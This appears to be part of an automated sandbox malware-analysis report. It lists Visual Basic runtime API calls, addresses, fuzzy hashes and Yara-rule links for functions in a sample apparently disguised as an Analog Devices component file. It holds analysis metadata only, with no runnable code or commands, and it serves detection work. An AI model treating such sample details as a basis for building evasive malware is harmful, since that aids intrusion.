Opcode Fuzzy Hash: 4bff154d9429e66b7277ffeb6f82d5934f284739e9e3ccb96d97e83057302d16
Instruction Fuzzy Hash: D7D12A71E00218ABCB04EFE5ED84DEEBBB9BF88704F50411EF505A7254DB74A942CB69

Function 00420670 Relevance: 61.8, APIs: 41, Instructions: 261COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,00000000,00000000), ref: 004206C8
__vbaStrCopy.MSVBVM60(?,00000000), ref: 004206D0
__vbaOnError.MSVBVM60(00000001), ref: 004206D4
#648.MSVBVM60(0000000A), ref: 004206EC
__vbaFreeVar.MSVBVM60(?,00000000), ref: 004206FB
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000,?), ref: 00420714
__vbaLenBstr.MSVBVM60(00405414), ref: 0042071F
#525.MSVBVM60(00000000), ref: 00420726
__vbaStrMove.MSVBVM60(?,00000000), ref: 00420737
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 0042074B
__vbaStrCopy.MSVBVM60(?,00000000), ref: 00420755

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00420765

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?,00000000), ref: 00420776
__vbaStrCmp.MSVBVM60(00000000), ref: 00420779
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00420797
__vbaGet3.MSVBVM60(00000004,?,00000000), ref: 004207C6
__vbaLenBstr.MSVBVM60(00405414), ref: 004207CD
__vbaGet3.MSVBVM60(00000004,0042C250,00000000), ref: 00420815
#525.MSVBVM60(00000000), ref: 0042081E
__vbaStrMove.MSVBVM60 ref: 0042082B
__vbaGet3.MSVBVM60(00000000,0042C254,00000000), ref: 0042083C
__vbaGet3.MSVBVM60(00000004,0042C1C0,00000000), ref: 0042084C
__vbaStrCopy.MSVBVM60 ref: 00420861
#648.MSVBVM60(0000000A), ref: 00420879
__vbaFreeVar.MSVBVM60 ref: 00420888
__vbaStrCat.MSVBVM60(00000000,?), ref: 00420899
__vbaStrMove.MSVBVM60 ref: 004208A4
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,00000000), ref: 004208B6
__vbaFreeStr.MSVBVM60 ref: 004208BF
__vbaGenerateBoundsError.MSVBVM60 ref: 004208E1
__vbaUI1I2.MSVBVM60 ref: 004208EC
__vbaUI1I2.MSVBVM60 ref: 00420918
__vbaUI1I2.MSVBVM60 ref: 00420922

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Free$Move$Get3$Copy$#516#631Bstr$#525#648ErrorFileOpen$#537BoundsGenerateList
String ID:
API String ID: 695521769-0
Opcode ID: f8ef0d2bbbc17cc47077afd85e451489e7cc431014dfc9b52aac7517ad6bcadf
Instruction ID: 7f18cb6a5bab86a65f3f7d37ad3edf1072490e8e3ae84fdb7564aa9c634781f6
Opcode Fuzzy Hash: f8ef0d2bbbc17cc47077afd85e451489e7cc431014dfc9b52aac7517ad6bcadf
Instruction Fuzzy Hash: ADA1C071E00258DBCB14EFE5ED84ADEBBB5FF48300F50412AE516AB2A1DB745885CF68

Function 00422BF0 Relevance: 61.7, APIs: 41, Instructions: 214COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,00000000,004032B6), ref: 00422C0E
__vbaStrCopy.MSVBVM60(?,00000000,?,00000000,004032B6), ref: 00422C3B
__vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,004032B6), ref: 00422C4A
#648.MSVBVM60(0000000A), ref: 00422C69
__vbaFreeVar.MSVBVM60 ref: 00422C78
__vbaI2I4.MSVBVM60(?), ref: 00422C8C
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00422C9A
__vbaI2I4.MSVBVM60 ref: 00422CAA
#570.MSVBVM60(00000000), ref: 00422CB1
__vbaLenBstr.MSVBVM60(0040545C), ref: 00422CBE
__vbaI2I4.MSVBVM60 ref: 00422CF3
__vbaFileSeek.MSVBVM60(00000000,00000000), ref: 00422CFE
__vbaI2I4.MSVBVM60 ref: 00422D0E
__vbaGet3.MSVBVM60(00000004,?,00000000), ref: 00422D1B
__vbaLenBstr.MSVBVM60(0040545C), ref: 00422D39
__vbaLenBstr.MSVBVM60(0040545C), ref: 00422D67
#525.MSVBVM60(00000000), ref: 00422D6E
__vbaStrMove.MSVBVM60 ref: 00422D79
__vbaI2I4.MSVBVM60 ref: 00422D89
__vbaFileSeek.MSVBVM60(00000000,00000000), ref: 00422D94
__vbaI2I4.MSVBVM60 ref: 00422DA4
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422DB1

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00422DCC
__vbaStrCopy.MSVBVM60 ref: 00422DEA
__vbaStrMove.MSVBVM60(00000003), ref: 00422DFB
#616.MSVBVM60(00000000), ref: 00422E02
__vbaStrMove.MSVBVM60 ref: 00422E0D

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?,00000000), ref: 00422E22
__vbaStrCmp.MSVBVM60(00000000), ref: 00422E29
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00422E50

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

__vbaStrMove.MSVBVM60(?,?,?,00000000), ref: 00422E76
__vbaStrMove.MSVBVM60(00000004), ref: 00422E97
#618.MSVBVM60(00000000), ref: 00422E9E
__vbaStrMove.MSVBVM60 ref: 00422EA9
__vbaI4Str.MSVBVM60(00000000), ref: 00422EB0
__vbaFreeStrList.MSVBVM60(00000003,?,?,00000000), ref: 00422EC7
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,00000000), ref: 00422EDA
__vbaFileClose.MSVBVM60(00000000), ref: 00422EE1
__vbaFreeStr.MSVBVM60(00422F2A), ref: 00422F1A
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,00000000), ref: 00422F23
__vbaErrorOverflow.MSVBVM60 ref: 00422F40

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$FreeMove$BstrFile$#516#631Copy$ErrorGet3ListSeek$#525#537#570#616#618#648ChkstkCloseOpenOverflow
String ID:
API String ID: 277344030-0
Opcode ID: 80d27adf0f7515f30dffb66509e59b70ef8c6a723e0b90cbf6394fe901ba1ca0
Instruction ID: 0dbf9007f3e025cc507390632291acf7cd708b816fac69f1e160cd6eff4667e3
Opcode Fuzzy Hash: 80d27adf0f7515f30dffb66509e59b70ef8c6a723e0b90cbf6394fe901ba1ca0
Instruction Fuzzy Hash: 8091C871D00248EFDB04DFA0DA48BDEBBB8FB48705F108169E612B76A0DB745A49CF64

Function 0040D650 Relevance: 61.5, APIs: 31, Strings: 4, Instructions: 283COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001), ref: 0040D69B
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D6B2
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,0000004C), ref: 0040D6D3
__vbaFreeObj.MSVBVM60 ref: 0040D6FA
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D724
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,00000040), ref: 0040D749
__vbaLateIdCallLd.MSVBVM60(?,?,68030000,00000000), ref: 0040D75E
__vbaI4Var.MSVBVM60(00000000), ref: 0040D768
__vbaLateMemCallLd.MSVBVM60(?,?,hwnd,00000000,00008003), ref: 0040D78A
__vbaVarTstEq.MSVBVM60(00000000), ref: 0040D794
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040D7A2
__vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 0040D7B2
__vbaExitProc.MSVBVM60 ref: 0040D7DF
__vbaExitProc.MSVBVM60 ref: 0040D7EC

Strings

MR, xrefs: 0040DA2E
hwnd, xrefs: 0040D77E
RO, xrefs: 0040D8E8, 0040D94D
Once, xrefs: 0040D90C, 0040D972

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Free$CallCheckExitHresultLateListProc$Error
String ID: MR$ RO$Once$hwnd
API String ID: 1721777011-1584818490
Opcode ID: f1c211779c0b3bb3b88594b85937cb88ccef8d8afbaf8a30aea8c47be55a5225
Instruction ID: 3a18aed98be3068f103a5839567168951ce735157339c65100099b40d738d62c
Opcode Fuzzy Hash: f1c211779c0b3bb3b88594b85937cb88ccef8d8afbaf8a30aea8c47be55a5225
Instruction Fuzzy Hash: 24B10771900204EBDB04DFE4DD49BAEBBB8FF48700F50816AE505B72A1DB785945CBA9

Function 0041F2C0 Relevance: 57.9, APIs: 31, Strings: 2, Instructions: 171COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,00000000,Function_000032B6), ref: 0041F2DE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041F30E
#717.MSVBVM60(?,00004008,00000040,00000000), ref: 0041F33D
__vbaStrVarMove.MSVBVM60(?), ref: 0041F347
__vbaStrMove.MSVBVM60 ref: 0041F352
__vbaFreeVar.MSVBVM60 ref: 0041F35B
__vbaStrCopy.MSVBVM60 ref: 0041F38A
#717.MSVBVM60(?,00004008,00000040,00000000), ref: 0041F3B9
__vbaStrVarMove.MSVBVM60(?), ref: 0041F3C3
__vbaStrMove.MSVBVM60 ref: 0041F3CE
__vbaStrCopy.MSVBVM60 ref: 0041F3D9
__vbaFreeStr.MSVBVM60 ref: 0041F3E2
__vbaFreeVar.MSVBVM60 ref: 0041F3EB
__vbaStrCat.MSVBVM60(00000000,Remark for ), ref: 0041F411
#717.MSVBVM60(?,00000008,00000040,00000000), ref: 0041F430
__vbaStrVarMove.MSVBVM60(?), ref: 0041F43D
__vbaStrMove.MSVBVM60 ref: 0041F448
__vbaStrCopy.MSVBVM60 ref: 0041F453
__vbaFreeStr.MSVBVM60 ref: 0041F45C
__vbaFreeVarList.MSVBVM60(00000002,00000008,?), ref: 0041F46F
__vbaStrToAnsi.MSVBVM60(?,?,00000000), ref: 0041F4CF
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 0041F4DD
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F4EB
__vbaFreeStr.MSVBVM60 ref: 0041F4F4
__vbaRecUniToAnsi.MSVBVM60(00406F68,?,?,?), ref: 0041F515
__vbaSetSystemError.MSVBVM60(00000000,00000002,00000000), ref: 0041F525
__vbaRecAnsiToUni.MSVBVM60(00406F68,?,?), ref: 0041F53B
__vbaRecDestructAnsi.MSVBVM60(00406F68,?), ref: 0041F54D
__vbaRecDestructAnsi.MSVBVM60(00406F68,?,0041F5A5), ref: 0041F586
__vbaFreeStr.MSVBVM60 ref: 0041F58F
__vbaRecDestruct.MSVBVM60(00406F68,?), ref: 0041F59E

Strings

Remark for , xrefs: 0041F406
P, xrefs: 0041F48D

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Free$Move$Ansi$#717CopyDestructError$System$ChkstkListUnicode
String ID: P$Remark for
API String ID: 3958374764-404550290
Opcode ID: 3836bbc5565a20a4707f8b3767ffc18a2dee7e207138df64e28d7e6c74dad988
Instruction ID: 57f6e2307a2881c8932ec88b1fdace90c080974f77e0174b8cc4dbb87e3633e4
Opcode Fuzzy Hash: 3836bbc5565a20a4707f8b3767ffc18a2dee7e207138df64e28d7e6c74dad988
Instruction Fuzzy Hash: 2081FAB1900249EFDB14DFA0DE49BDEBBB8FB48305F108169E506BB2A0DB745A49CF54

Function 00411210 Relevance: 54.5, APIs: 29, Strings: 2, Instructions: 255COMMON

Download Yara Rule

APIs

#594.MSVBVM60(?,6D04D9F5,-00000001,6D04D8B1), ref: 0041127A
__vbaFreeVar.MSVBVM60 ref: 00411283
__vbaLenBstr.MSVBVM60 ref: 0041128F
#631.MSVBVM60(?,?,0000000A), ref: 004112C8
__vbaStrMove.MSVBVM60(?,?,0000000A), ref: 004112D3
#516.MSVBVM60(00000000,?,?,0000000A), ref: 004112DA
__vbaFreeStr.MSVBVM60(?,?,0000000A), ref: 004112E9
__vbaFreeVar.MSVBVM60(?,?,0000000A), ref: 004112F2
#593.MSVBVM60(00000002,?,?,?,?,0000000A), ref: 004113D6
#714.MSVBVM60(?,00000004,00000000,?,?,?,0000000A), ref: 00411464
__vbaVarAdd.MSVBVM60(?,?,00000003,?,?,0000000A), ref: 0041147C
__vbaI4Var.MSVBVM60(00000000,?,?,0000000A), ref: 00411483
__vbaFreeVarList.MSVBVM60(00000004,00000002,00000004,?,?,?,?,0000000A), ref: 004114A0
#537.MSVBVM60(?,?), ref: 004114B4
__vbaStrMove.MSVBVM60(?,?), ref: 004114C5
__vbaStrCat.MSVBVM60(00000000,?,?), ref: 004114C8
__vbaStrMove.MSVBVM60(?,?), ref: 004114D3
#537.MSVBVM60(?,00000000,?,?), ref: 004114D7
__vbaStrMove.MSVBVM60(?,00000000,?,?), ref: 004114E2
__vbaStrCat.MSVBVM60(00000000,?,00000000,?,?), ref: 004114EB
__vbaStrMove.MSVBVM60(?,00000000,?,?), ref: 004114F2
#537.MSVBVM60(00000000,00000000,?,00000000,?,?), ref: 004114F6
__vbaStrMove.MSVBVM60(?,00000000,?,?), ref: 00411501
__vbaStrCat.MSVBVM60(00000000,?,00000000,?,?), ref: 00411504
__vbaStrMove.MSVBVM60(?,00000000,?,?), ref: 0041150B
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?,?,00000000,?,?), ref: 00411523
__vbaStrCopy.MSVBVM60 ref: 0041154C
__vbaFreeStr.MSVBVM60(004115AE), ref: 004115A7
__vbaErrorOverflow.MSVBVM60(?,?,0000000A), ref: 004115C9

Strings

gfff, xrefs: 004113DF
gfff, xrefs: 0041137D

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Free$#537$List$#516#593#594#631#714BstrCopyErrorOverflow
String ID: gfff$gfff
API String ID: 2397813863-3084402119
Opcode ID: 62ef2a4d85f8eb3fe8f937d03407a8f9ec95a64fd7d0ffd1317382de30af7ef6
Instruction ID: 89f21965ee05a7b64c3006bf8dd978c4399402eb5f0bddd0a045db34c415a49c
Opcode Fuzzy Hash: 62ef2a4d85f8eb3fe8f937d03407a8f9ec95a64fd7d0ffd1317382de30af7ef6
Instruction Fuzzy Hash: 9B9162B1E00249AFCB08DFA4DD45BDDBBFAEB88301F10412AE50AE7264EB345985CF54

Function 0041A5A0 Relevance: 52.7, APIs: 35, Instructions: 220COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,0040C87B,00000000), ref: 0041A5BE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041A5EE
__vbaAryConstruct2.MSVBVM60(?,00408078,00000003,?,?,?,00000000,Function_000032B6), ref: 0041A5FF
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041A60E
__vbaSetSystemError.MSVBVM60(0000000F,00000000,?,?,?,00000000,Function_000032B6), ref: 0041A62A
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 0041A664
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 0041A67A
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 0041A693
#525.MSVBVM60(00000104), ref: 0041A6BC
__vbaStrMove.MSVBVM60 ref: 0041A6C7
__vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 0041A6FE
__vbaGenerateBoundsError.MSVBVM60 ref: 0041A73D
__vbaStrToAnsi.MSVBVM60(?,?,000001F4), ref: 0041A758
__vbaSetSystemError.MSVBVM60(?,?,00000000), ref: 0041A77E
__vbaStrToUnicode.MSVBVM60(?,?,?,00000000), ref: 0041A78F
__vbaFreeStr.MSVBVM60(?,00000000), ref: 0041A7A4
#616.MSVBVM60(?,?,?,00000000), ref: 0041A7B9
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041A7C7
__vbaStrMove.MSVBVM60(?,?,00000000), ref: 0041A7DE
__vbaFreeStr.MSVBVM60(?,00000000), ref: 0041A7EA
__vbaLenBstr.MSVBVM60(?,?,00000000), ref: 0041A7FB
__vbaStrCat.MSVBVM60(?,00407CCC,?,00000001,?,00000000), ref: 0041A822
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041A830
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000000), ref: 0041A83C
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041A84A
__vbaInStr.MSVBVM60(00000001,00000000,?,00000000), ref: 0041A853
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,00000000), ref: 0041A879
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128,?,00000000), ref: 0041A8BA
__vbaSetSystemError.MSVBVM60(?,00000000,?,00000000), ref: 0041A8D0
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?,?,00000000), ref: 0041A8E9
__vbaSetSystemError.MSVBVM60(?), ref: 0041A90D
__vbaFreeStr.MSVBVM60(0041A96B), ref: 0041A937
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041A94F
__vbaFreeStr.MSVBVM60 ref: 0041A958
__vbaFreeStr.MSVBVM60 ref: 0041A964

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$FreeSystem$AnsiMove$#525#616BoundsBstrChkstkConstruct2CopyDestructGenerateListUnicode
String ID:
API String ID: 1820427907-0
Opcode ID: 966c6123da24b71d08ec0f7a5c1a4cfb51299011817f3b4dc7b4b5ec285d64dd
Instruction ID: da6c7bdc064fde5d6e21051214ad5d77861f7fd9d568965cd9a71694eebb6c89
Opcode Fuzzy Hash: 966c6123da24b71d08ec0f7a5c1a4cfb51299011817f3b4dc7b4b5ec285d64dd
Instruction Fuzzy Hash: B5A11975901259DBDB14EFA0DE4DBDEB7B4FB48304F1081A9E10AB72A0DB745A84CF58

Function 004193C0 Relevance: 51.3, APIs: 34, Instructions: 299COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 004193DE
__vbaOnError.MSVBVM60(000000FF,00000000,?,?,00000000,Function_000032B6), ref: 0041940E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00419428
__vbaRedim.MSVBVM60(00000000,0000004C,?,00000000,00000001,?,00000000), ref: 00419458
__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,00000000,00000000), ref: 0041947D
__vbaAryLock.MSVBVM60(?,?), ref: 00419495
__vbaGenerateBoundsError.MSVBVM60 ref: 004194C9
__vbaGenerateBoundsError.MSVBVM60 ref: 004194DA
__vbaSetSystemError.MSVBVM60(?,?,?), ref: 004194FA
__vbaAryUnlock.MSVBVM60(00000000), ref: 00419504
__vbaAryLock.MSVBVM60(?,?), ref: 00419519
__vbaGenerateBoundsError.MSVBVM60 ref: 0041954D
__vbaGenerateBoundsError.MSVBVM60 ref: 0041955E
__vbaAryLock.MSVBVM60(00000000,?), ref: 0041956F
__vbaGenerateBoundsError.MSVBVM60 ref: 004195A3
__vbaGenerateBoundsError.MSVBVM60 ref: 004195B7
__vbaSetSystemError.MSVBVM60(?,?,?), ref: 004195E6
__vbaAryUnlock.MSVBVM60(00000000), ref: 004195F0
__vbaAryUnlock.MSVBVM60(00000000), ref: 004195FA
__vbaAryLock.MSVBVM60(00000000,?), ref: 00419650
__vbaAryDestruct.MSVBVM60(00000000,?,00419803), ref: 004197F0
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 004197FC

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$Lock$SystemUnlock$DestructRedim$Chkstk
String ID:
API String ID: 3555954879-0
Opcode ID: d7053a601a00c9baf09ed0f933eca4d89ef72334d0a3dcf76765fe079d3190a2
Instruction ID: 67aec0367089ad9bdb06f85a3682bb1edb9e8b84c894a553a99a1ed1c2ada365
Opcode Fuzzy Hash: d7053a601a00c9baf09ed0f933eca4d89ef72334d0a3dcf76765fe079d3190a2
Instruction Fuzzy Hash: BED1E470D00208EFDB18DFA4DA98BDDBBB5BF48300F10815AE516B72A1DB74A985CF55

Function 00420F80 Relevance: 49.7, APIs: 33, Instructions: 230COMMON

Download Yara Rule

APIs

__vbaGenerateBoundsError.MSVBVM60(00000000,00001000,6D11DAF4,6D04D9F5), ref: 00420FA3
__vbaGenerateBoundsError.MSVBVM60(00000000,00001000,6D11DAF4,6D04D9F5), ref: 00420FC5
__vbaI2I4.MSVBVM60(00000000,00001000,6D11DAF4,6D04D9F5), ref: 00420FD2
__vbaGenerateBoundsError.MSVBVM60 ref: 00420FE6
__vbaI2I4.MSVBVM60 ref: 00420FED
__vbaGenerateBoundsError.MSVBVM60 ref: 00421029
__vbaGenerateBoundsError.MSVBVM60 ref: 00421044
__vbaGenerateBoundsError.MSVBVM60 ref: 00421056
__vbaGenerateBoundsError.MSVBVM60 ref: 00421071
__vbaGenerateBoundsError.MSVBVM60 ref: 004210A0
